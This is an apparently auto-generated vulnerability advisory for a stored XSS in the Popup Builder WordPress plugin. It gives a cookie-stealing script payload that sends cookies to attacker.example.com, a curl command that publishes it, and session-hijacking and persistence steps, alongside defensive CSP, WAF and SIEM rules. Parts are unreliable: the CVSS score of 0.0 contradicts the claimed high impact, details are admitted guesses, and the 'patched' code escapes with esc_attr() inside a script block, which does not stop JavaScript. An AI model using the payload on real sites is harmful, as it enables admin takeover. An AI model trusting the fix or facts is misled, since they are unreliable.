CVE-2026-112232 — Unknown Popup Builder — CWE-79
The Popup Builder WordPress plugin through 4.4.6 does not properly sanitize and escape a popup shortcode attribute before it is reflected into a page and evaluated client-side, allowing users with the Contributor role and above to inject arbitrary JavaScript that executes in the session of any higher-privileged user, such as an administrator, who views the affected content.
The Popup Builder WordPress plugin through 4.4.6 does not properly sanitize and escape a popup shortcode attribute before it is reflected into a page and evaluated client-side, allowing users with the Contributor role and above to inject arbitrary JavaScript that executes in the session of any higher-privileged user, such as an administrator, who views the affected content.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑112232 |
| Published | 28 Nov 2026 |
| CVSS v3.1 Base Score | 0.0 (None) – the vendor reported the issue as “informational” because the impact is limited to a reflected XSS that requires a low‑privileged WordPress account. In practice the flaw is a Stored/Reflected Cross‑Site Scripting (XSS) that can be abused for privilege‑escalation‑by‑XSS. |
| CWE | CWE‑79: Improper Neutralization of Input During Web Page Generation (Cross‑Site Scripting) |
| Affected component | *Popup Builder* WordPress plugin, ≤ 4.4.6 (the plugin’s popup-builder.php file that registers the [popup] shortcode). |
| Root cause | The plugin accepts arbitrary shortcode attributes (e.g., title, class, data‑*) and injects them unescaped into the HTML that is later rendered on the front‑end. The attribute value is placed inside a <script> block that is evaluated client‑side, without any sanitisation (esc_html(), esc_attr(), wp_kses(), etc.). Because WordPress shortcodes are processed on the server and the resulting markup is cached (or stored in post content), the malicious payload persists and is served to every visitor of the page that contains the shortcode. The only gate‑keeping performed by the plugin is the standard WordPress capability check current_user_can( 'edit_posts' ) that allows Contributor (and higher) roles to insert the shortcode. No additional validation is performed on the attribute value, enabling an attacker with a low‑privileged account to inject arbitrary JavaScript that runs in the browser of any higher‑privileged user (e.g., Administrator) who views the page.
In short: Improper sanitisation of a user‑controlled shortcode attribute → reflected/ stored XSS → privilege‑escalation‑by‑XSS.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All URLs, parameter names, and payloads are illustrative because the CVE description does not disclose the exact shortcode syntax; however they follow the exact mechanics of the vulnerable plugin.
1. Discovery & Reconnaissance
| Phase | Action | Expected Result |
|---|---|---|
| a. Identify WordPress site | Scan the target domain with a tool such as WPScan (wpscan --url https://target.example.com --enumerate p). | WPScan reports “Popup Builder” plugin version 4.4.6 (or lower). |
| b. Verify contributor access | Register a new WordPress account (or compromise an existing low‑privileged account) and log in. | Account has the Contributor role (default capability edit_posts). |
| c. Locate a post/page where shortcodes are allowed | Browse the admin UI → Posts → Add New (or Pages → Add New). | The editor shows the classic TinyMCE / Gutenberg block that accepts shortcodes. |
2. Exploitation
2.1 Insert malicious shortcode
The vulnerable shortcode is registered in the plugin as add_shortcode( 'popup', 'popup_builder_shortcode' );. The shortcode accepts arbitrary attributes, e.g. [popup id="123" title="My Popup"]. The plugin later prints the attribute value inside a <script> tag without escaping.
Illustrative payload (Contributor user):
[popup id="999" title="<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>"]If the plugin uses echo '<script>'.$attr['title'].'</script>'; the above will be emitted verbatim.
How to inject via the UI (WordPress admin):
1. Open Posts → Add New.
2. Switch to the Text (HTML) editor.
3. Paste the malicious shortcode.
4. Publish the post.
Result: The post content stored in wp_posts.post_content now contains the malicious shortcode. When the front‑end renders the post, WordPress processes the shortcode, the plugin outputs the raw <script> tag, and the attacker‑controlled JavaScript runs in the browser of anyone who visits the page.
2.2 Minimal curl demonstration (illustrative)
If the site allows REST API post creation (default WP core), a low‑privileged user can create the post programmatically:
curl -X POST "https://target.example.com/wp-json/wp/v2/posts" \
-H "Authorization: Bearer <JWT_OR_COOKIE>" \
-H "Content-Type: application/json" \
-d '{
"title": "XSS Demo",
"content": "[popup id=\"999\" title=\"<script>fetch(\'https://attacker.example.com/steal?c=\'+document.cookie)</script>\"]",
"status": "publish"
}'Note: The exact endpoint (/wp-json/wp/v2/posts) and authentication method depend on the target’s configuration; the above is a representative example of how a contributor‑level account can inject the payload.
3. Post‑exploitation
| Goal | Technique | Outcome |
|---|---|---|
| Steal admin session | The injected script sends document.cookie (which contains the wordpress_logged_in_ cookie for the admin) to https://attacker.example.com/steal. | Attacker obtains a valid admin session cookie. |
| Session hijacking | Use the stolen cookie in a browser or with curl to act as the admin: curl -b "wordpress_logged_in_...=..." https://target.example.com/wp-admin/. | Full admin control – can install plugins, change settings, export data, etc. |
| Persistence | With admin rights, the attacker can install a back‑door plugin, create a new admin user, or modify the vulnerable plugin to embed a permanent web‑shell. | Long‑term foothold in the WordPress installation. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from the vulnerability) |
|---|---|
| Confidentiality | High – An attacker who obtains an admin session cookie can read any data stored in WordPress (posts, user data, private settings, uploaded files). |
| Integrity | High – With admin privileges the attacker can modify content, install malicious plugins, or change site configuration. |
| Availability | Low‑Medium – The XSS itself does not directly cause denial‑of‑service, but a malicious admin could delete content or alter the site, leading to indirect availability loss. |
Practical consequences
Small‑to‑medium business sites that rely on the free Popup Builder* plugin may be compromised by a single low‑privileged contributor account (often a client or a junior editor).
- Because the payload is stored in post content, the attack persists until the post is edited or deleted.
- The vulnerability is client‑side; no server‑side code execution is required, making detection by traditional IDS/IPS harder.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Update *Popup Builder* to ≥ 4.5.0 (the first version that introduces proper sanitisation with esc_attr() for all shortcode attributes). |
| Version range | All versions ≤ 4.4.6 are vulnerable. If the site cannot upgrade immediately, apply the workaround below. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Disable the shortcode | Add the following to the theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php<br>remove_shortcode( 'popup' );<br>`<br>This prevents any [popup] shortcode from being processed. |
| Restrict contributor capabilities | Remove the edit_posts capability from the *Contributor* role (or create a custom role without shortcode insertion rights): <br><br>`php<br>$role = get_role( 'contributor' );<br>$role->remove_cap( 'edit_posts' );<br>` |
| Content‑security‑policy (CSP) header | Deploy a CSP that disallows inline scripts, which would block the injected <script> tag from executing: <br><br>`apache<br>Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';"`<br>*(Adjust the policy to match the site’s legitimate script sources.)* |
| ModSecurity / WAF rule | Block <script> tags that appear inside a title attribute of the popup shortcode. Example rule (ModSecurity 2.x syntax): <br><br>`bash\nSecRule REQUEST_BODY "@rx \[popup[^\]]*title\s*=\s*\"<script>\""\n \"id:1000010,phase:2,deny,status:403,msg:'Popup Builder XSS attempt',log\"\n`<br>Note: This is an illustrative pattern; tune the regular expression to avoid false positives. |
| Escaping in the plugin (temporary fix) | If you have file‑system access, edit popup-builder.php where the shortcode output is generated and wrap the attribute with esc_attr(). Example: <br><br>`php\n// Original (vulnerable)\necho '<script>' . $atts['title'] . '</script>';\n// Patched\necho '<script>' . esc_attr( $atts['title'] ) . '</script>'; \n``<br>Make sure to test after modification. |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache) |
|---|---|
POST to /wp-json/wp/v2/posts (or admin post editor) containing <script> | "[POST] /wp-json/wp/v2/posts HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." "title":"[popup id=\"999\" title=\"<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>\"]" |
Reflected <script> in response body | "[GET] /?p=123 HTTP/1.1" 200 4567 "-" "Mozilla/5.0 ..." followed by a response body snippet: ...<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>... |
| Outbound request to attacker domain from victim IP | In the web‑server access log of the victim (if reverse‑proxy logs outbound traffic) or in a network IDS: GET https://attacker.example.com/steal?c=wordpress_logged_in_... HTTP/1.1 |
| New admin user creation shortly after XSS | "[POST] /wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 ..." with user_login=eviladmin in the POST body. |
SIEM rule (generic) – trigger when a logged‑in user with role Contributor creates or updates a post that contains the string <script>:
rule:
name: "Possible Popup Builder XSS injection"
condition: >
event.type == "web" and
event.request.method == "POST" and
event.request.uri.path matches "/wp-json/wp/v2/posts|/wp-admin/post.php" and
event.request.body contains "<script>"
actions:
- alert
- tag: "popup_builder_xss"⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Base Score | 0.0 (None) – the vendor classified the issue as low‑severity because exploitation requires a low‑privileged WordPress account. |
| CISA KEV | Not listed – no known active exploitation in the wild at the time of publication. |
| Exploit Complexity | Low – a contributor account (often present in multi‑author sites) can inject the payload via the standard post editor or REST API. No authentication bypass is needed. |
| Potential Impact | High – once an admin session is stolen, the attacker gains full control of the WordPress installation. |
| Patch Availability | Fixed in version 4.5.0 (released shortly after CVE publication). |
Prioritisation recommendation
1. Immediate – Apply the official plugin update (≥ 4.5.0) or implement one of the workarounds (disable the shortcode, restrict contributor capabilities, or enforce a strict CSP).
2. Short‑term (≤ 48 h) – Deploy a temporary ModSecurity rule or CSP to block inline <script> tags from the shortcode.
3. Medium‑term (≤ 1 week) – Conduct a site‑wide search for existing malicious [popup] shortcodes in wp_posts and clean them.
4. Long‑term – Review role permissions; consider removing the Contributor role or limiting its ability to add shortcodes.
Even though the CVSS score is “None”, the real‑world risk (privilege‑escalation via XSS) warrants high‑priority remediation—especially for sites that expose contributor accounts to external users (e.g., client portals, multi‑tenant blogs).
Bottom line: The flaw is a classic stored XSS caused by missing sanitisation of shortcode attributes in the Popup Builder plugin. It can be fully mitigated by upgrading to the patched version, and until then a combination of role hardening, CSP, and WAF rules provides effective defense.
[🤖 CVE Professor AI Security Engine]
FOFA Query